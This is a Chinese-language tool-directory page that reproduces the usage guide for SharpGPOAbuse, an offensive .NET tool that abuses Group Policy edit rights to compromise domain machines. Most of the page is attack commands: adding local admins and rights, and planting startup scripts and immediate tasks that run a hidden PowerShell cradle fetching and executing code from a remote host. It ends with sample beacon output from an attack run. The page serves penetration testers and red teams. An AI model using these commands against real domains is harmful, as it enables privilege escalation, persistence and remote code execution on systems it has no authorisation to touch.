Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SharpGPOAbuse — SharpGPOAbuse 是一个用 C# 编写的 .NET 应用程序,可用于利用用户对组策略对象 (GPO) 的编辑权限,从而危害该 GPO 所控制的对象。 | Kitploit
工具/GitHubGitHub/reverseclabs/sharpgpoabuse
权限提升持久化机制漏洞利用横向移动后渗透利用渗透测试红队
GitHubreverseclabs/sharpgpoabuse

SharpGPOAbuse

SharpGPOAbuse 是一个用 C# 编写的 .NET 应用程序,可用于利用用户对组策略对象 (GPO) 的编辑权限,从而危害该 GPO 所控制的对象。

查看仓库
1.4k1555年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SharpGPOAbuse

SharpGPOAbuse 是一个用 C# 编写的 .NET 应用程序,可用于利用用户对组策略对象(GPO)的编辑权限,来破坏该 GPO 所控制的对象。

更多详细信息可在以下博客文章中找到:https://labs.mwrinfosecurity.com/tools/sharpgpoabuse

编译说明

确保必要的 NuGet 包已正确安装,然后在 Visual Studio 中直接生成项目。

使用方法

root@kitploit:~
用法:
        SharpGPOAbuse.exe <攻击类型> <攻击选项>

攻击类型

目前 SharpGPOAbuse 支持以下选项:

选项描述
--AddUserRights向用户添加权限
--AddLocalAdmin将用户添加到本地管理员组
--AddComputerScript添加新的计算机启动脚本
--AddUserScript配置用户登录脚本
--AddComputerTask配置计算机即时任务
--AddUserTask为用户添加即时任务

攻击选项

添加用户权限

root@kitploit:~
添加新用户权限所需的选项:
--UserRights
        设置要添加到用户的新权限。此选项区分大小写,必须使用逗号分隔的列表。
--UserAccount
        设置要添加新权限的帐户。
--GPOName
        易受攻击的 GPO 的名称。
        
示例:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

添加本地管理员

root@kitploit:~
添加新本地管理员所需的选项:
--UserAccount
        设置要添加到本地管理员组的帐户名称。
--GPOName
        易受攻击的 GPO 的名称。

示例:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

配置用户或计算机登录脚本

root@kitploit:~
添加新用户或计算机启动脚本所需的选项:
--ScriptName
        设置新启动脚本的名称。
--ScriptContents
        设置新启动脚本的内容。
--GPOName
        易受攻击的 GPO 的名称。

示例: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

如果只想在由易受攻击的 GPO 控制的特定用户或计算机上运行恶意脚本,可以在恶意脚本中添加 if 语句:

root@kitploit:~
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

配置计算机或用户即时任务

root@kitploit:~
添加新计算机或用户即时任务所需的选项:

--TaskName
        设置新计算机任务的名称。
--Author
        设置新任务的作者(使用域管理员帐户)。
--Command
        要执行的命令。
--Arguments
        传递给命令的参数。
--GPOName
        易受攻击的 GPO 的名称。

其他用户任务选项:
--FilterEnabled
        为用户即时任务启用目标筛选。
--TargetUsername
        要定位的用户。恶意任务将仅在指定用户上运行。格式应为 <域>\<用户名>
--TargetUserSID
        目标用户的 SID。

其他计算机任务选项:
--FilterEnabled
        为计算机即时任务启用目标筛选。
--TargetDnsName
        要定位的计算机的 DNS 名称。恶意任务将仅在指定主机上运行。
        
示例: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

如果只想在由易受攻击的 GPO 控制的特定用户或计算机上运行恶意任务,可以使用类似以下内容:

root@kitploit:~
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

其他选项

选项描述
--DomainController设置目标域控制器
--Domain设置目标域
--Force必要时覆盖现有文件

示例输出

root@kitploit:~
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
下载工具